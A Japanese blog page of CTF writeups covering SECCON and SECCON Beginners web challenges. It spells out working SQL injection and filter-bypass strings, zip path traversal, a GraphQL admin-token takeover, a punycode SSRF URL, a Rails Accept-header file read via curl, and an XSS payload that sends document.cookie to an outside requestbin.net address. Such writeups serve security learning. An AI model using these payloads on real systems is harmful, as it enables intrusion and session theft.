眠気

戯言とメモ

Beginners CTF 2020 writeup

1日目にwebだけ参加していました。

Spy

dbに存在するアカウント名を当てる問題。 hashの計算をしているみたいだったので、length extensionか何かかなと思い放置していたらチームの人が解いてくれてました。 アカウントが存在する場合の方がhashの計算に時間がかかるので、それで推測する問題だったようです。


Tweetstore

SQL Injectionの問題。 FLAGはDBのユーザーらしい。

dbuser := os.Getenv("FLAG")
type Tweets struct {
    Url        string
    Text       string
    Tweeted_at time.Time
}

var sql = "select url, text, tweeted_at from tweets"
search, ok := r.URL.Query()["search"]
if ok {
    sql += " where text like '%" + strings.Replace(search[0], "'", "\\'", -1) + "%'"
}

goのこの部分のsqlを組み立てている部分でなんとかする問題。

' union select 1,1,1 ; --' とかを入れるとエラーが出て(おそらくrows.Scanの型変換の部分)、クォートが使えないので文字列やTimeを作るのが少し面倒だった。concatとnowでなんとかなった。postgressqlなので getpgusername() とかでユーザー名が取れる。

'+or+1=1+union+select+concat(1),+getpgusername(),+now()+;+--'

unzip

phpのZipArchiveでzipを解凍するサービス。 unzipしたものを /uploads 以下に配置してくれるので、zipのファイルパスをいじってディレクトリトラバーサルが可能。 ただflagの位置が分からず、phpのファイルを置いて実行させるのも難しそうだったので放置していたら、ヒントでdocker-compose.ymlファイルが貰えたので以下でファイルパスをrootにしたらflag.txtが見れた。

./evilarc.py flag.txt  -d 10  -o "unix"

https://github.com/ptoomey3/evilarc


profiler

graphqlの問題。

適当にユーザーを作成し、GetFlagを実行すると以下のように言われる。

get-graphql-schemaでschemaを取得すると以下のようなschemaが取得できる。

$ npm install -g get-graphql-schema
$ get-graphql-schema https://profiler.quals.beginners.seccon.jp/api

type Mutation {
  updateProfile(profile: String!, token: String!): Boolean!
  updateToken(token: String!): Boolean!
}

type Query {
  me: User!
  someone(uid: ID!): User
  flag: String!
}

type User {
  uid: ID!
  name: String!
  profile: String!
  token: String!
}

GraphiQLのHeaderにCookieを入れて、someone(uid: ID!): Userを実行してみる。

someone(uid: "admin") でadminのtokenが得られる。

{ 
    someone(uid: "admin") { 
        uid, 
        profile, 
            name,
        token,      
    }
}

{
  "data": {
    "someone": {
      "name": "admin",
      "profile": "Hello, I'm admin.",
      "token": "743fb96c5d6b65df30c25cefdab6758d7e1291a80434e0cdbb157363e1216a5b",
      "uid": "admin"
    }
  }
}

使われていない updateToken(token: String!): Boolean! でtokenをadminのものに変えて、 {flag} でflagが取れる。

mutation {
        updateToken(token: "743fb96c5d6b65df30c25cefdab6758d7e1291a80434e0cdbb157363e1216a5b")
}

{
  "data": {
    "updateToken": true
  }
}
{flag}

{
  "data": {
    "flag": "ctf4b{plz_d0_n07_4cc3p7_1n7r05p3c710n_qu3ry}"
  }
}

Somen

問題は以下の部分。

<?php
$nonce = base64_encode(random_bytes(20));
header("Content-Security-Policy: default-src 'none'; script-src 'nonce-${nonce}' 'strict-dynamic' 'sha256-nus+LGcHkEgf6BITG7CKrSgUIb1qMexlF8e5Iwx1L2A='");
?>

<head>
    <title>Best somen for <?= isset($_GET["username"]) ? $_GET["username"] : "You" ?></title>

    <script src="/security.js" integrity="sha256-nus+LGcHkEgf6BITG7CKrSgUIb1qMexlF8e5Iwx1L2A="></script>
    <script nonce="<?= $nonce ?>">
        const choice = l => l[Math.floor(Math.random() * l.length)];

        window.onload = () => {
            const username = new URL(location).searchParams.get("username");
            const adjective = choice(["Nagashi", "Hiyashi"]);
            if (username !== null)
                document.getElementById("message").innerHTML = `${username}, I recommend ${adjective} somen for you.`;
        }
    </script>
</head>

security.js は以下で、username似英数字以外が含まれているとerror.phpに飛ばされる。

console.log('!! security.js !!');
const username = new URL(location).searchParams.get("username");
if (username !== null && ! /^[a-zA-Z0-9]*$/.test(username)) {
    document.location = "/error.php";
}

とりあえず、titleタグを閉じ、以下のように中途半端なscriptタグを置くことでその次のsecurity.jsを呼ばないようにできる。

</title><script a

また、idがmessageのタグを作ることで任意の場所にusernameを入れることが出来る。

ab</title>cd<div id="message">ef</div><script a

scriptタグがbody以下移動してるのはdivタグをbodyに入れようとしたからだと思われる。divをscriptにして以下でalert()が実行される。

alert(1)//</title><script id="message"></script><script a

あとはcookieを送るだけ。

location.href=`http://requestbin.net/r/ryqf7zry?${document.cookie}`//</title>
<script id="message"></script><script a

SECCON 2019 Quals Write up

都内の温泉施設で参加してました。

あまり解けなかったのが残念でした。


Option-Cmd-U

punycodeをいい感じにする問題だと思い、punycodeについて調べていた。

<!-- src of this PHP script: /index.php?action=source -->
<!-- the flag is in /flag.php, which permits access only from internal network :-) -->
<!-- this service is running on php-fpm and nginx. see /docker-compose.yml -->

punycodeの仕様上ハイフンが入ってしまうため、flag.phpは難しそうだけれど、 上記のHTMLのコメント部分にある docker-compose.yml なら作れそうだったので、docker-compose.ymlをそれ経由で取得すれば何か得れるのではないか

と思ってやってました。特に何も得れなかったです。

ちなみに以下でpunycodeがdocker-compose.ymlに変換される。

http://c:b.d.wa@nизginижxе/docker.yml => http://c:b.d.wa@nginx/docker-compose.yml

その後チームの人が、ドットの位置でpunycodeの変換部分が変えられること、数字部分のみをポートとして解釈することを見つけてくれていたので、 また、ポートの部分を複数設定することで区切りに出来たため横取りみたいな形でフラグを取ってしまった

http://a:.@✊nginx:80.:/flag.php => http://a:.xn--@nginx:80-5s4f.:/flag.php

SECCON{what_a_easy_bypass_314208thg0n423g}


web_search

空白文字とカンマ、それと orand が制限されていた。

空白文字は /**/oroorrandaandnd に変換するようにすれば動くようになった。 そのあたりはスクリプトを作成してクエリを書くと楽だった。

$ web> cat try.sql
'union (select * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d);#'%                                                                                   
$ web> cat conv.sh
sed -e "s/or/oorr/g" | sed -e "s/and/aandnd/g" | sed -e "s/\ /\/\*\*\//g"
$ web> cat try.sql | ./conv.sh
'union/**/(select/**/*/**/FROM/**/(SELECT/**/1)a/**/JOIN/**/(SELECT/**/2)b/**/JOIN/**/(SELECT/**/3)c/**/JOIN/**/(SELECT/**/4)d);#'

' oorr/**/1 ;#' と入れるととりあえずFLAGの前半部分が取れる

FLAG
The flag is "SECCON{Yeah_Sqli_Success_" ... well, the rest of flag is in "flag" table. Try more!

カンマが使えないためunionでつなげるのが難しく、カラム名もinformation_schemaテーブルから取ろうかと思って奮闘したが取れなかったようだった。

selectを複数joinさせる形でカラム数が増やせたので、それでflagテーブルをjoinさせた。

'union (select * FROM (SELECT * from flag )a JOIN (SELECT 2)b JOIN (SELECT 3)c);#'

=> 'union/**/(select/**/*/**/FROM/**/(SELECT/**/*/**/from/**/flag/**/)a/**/JOIN/**/(SELECT/**/2)b/**/JOIN/**/(SELECT/**/3)c);#'

You_Win_Yeah}

疲れた際にいつでも温泉に入れるのは良かったけれど、多少ダレてしまうのがネックだった。

SECCON Beginners CTF 2019 writeup

参加してました。

containers

foremostして出てきたpngの文字列を合わせるだけだった

f:id:lailaiskyn:20190527183053p:plain

最初と最後の文字列は切れてたけどどうせcと}だろうと思ってそのまま投げたら通ったので良かった

[warmup] Ramen

SQL injection。

union selectでinformation_schemaからtableとかcolumnとか探してたけどguessしていきなりflagでやっても良かった気がする

' or 1 union select 1,1 ; -- => 列の数を確かめる

' or 1 union select table_name, column_name from information_schema.columns ; -- => テーブル・カラム名を出す

' or 1 union select flag,1 from flag ; -- => flag出す

ctf4b{a_simple_sql_injection_with_union_select}

katsudon

流行りのRails脆弱性かと思ってmessage_verifierで署名されたやつの複合の仕方とか調べたり色々やってたけど、Base64をデコードするだけであっさり出てしまって拍子抜けしてしまった。

ctf4b{K33P_Y0UR_53CR37_K3Y_B453}

katsudon-okawari

流行りのRails脆弱性だった

okawariする前にやってた方法ですぐ解けて、しかもヒントが簡単になってたので良かった。

Acceptヘッダーに

curl http://katsudon.quals.beginners.seccon.jp/flag -H 'Accept: ../../config/database.yml{{'

みたいにpath指定したらファイルを見放題なので、config/secret.ymlのsecret_key_baseを取って、

    secret_key_base = "4e78e9e627139829910a03eedc8b24555fabef034a8f1db7443f69c4d4a1dbee7673687a2bf62d7891aa38d39741395b855ced25200f046c280bb039ce53de34"
    serial_code = "bQIDwzfjtZdvWLH+HD5jhhZW4917cFKbx7LDRPzsL3JXqQ8VJp5RYfKIw5xqe/xhLg==--cUS9fQetfBC8wsV7--E8vQbRF4vHovYlPFvH3UnQ=="
    msg_encryptor = ::ActiveSupport::MessageEncryptor.new(secret_key_base[0..31], cipher: "aes-256-gcm")
    p msg_encryptor.decrypt_and_verify(serial_code)

みたいな感じでdecryptできた

以下解けなかったやつ

  • Himitsu

クローラのcookieを取れば良いこと、日付と時間(分)からハッシュが作られること、articleのtitleでfilterをバイパスしてxssが出来そうなことが分かってたのに解けなかった。悲しい。

  • Secure Meyasubako

CSPのバイパスをすれば良いこと、CDNの古いAngularを使ったり、googlejsonpでバイパス出来たりすることまで分かってたのに解けなかった。悲しい。

終わり 🙏

XSS Thousand Knocks writeup

前回の流れで こちらをやっていました。

現状出ている34問分が終わったのと、writeupが公開可なようだったのでついでに上げてみました。

25までの解答が消えてしまいこれを書くにあたって解き直していたので、cookie送信先が変わってるのはそのせいです。

途中unicodeエンコーディングでかなりゴリ押ししてしまったので後でちゃんと解きたい…

gist.github.com

https://knock.xss.moe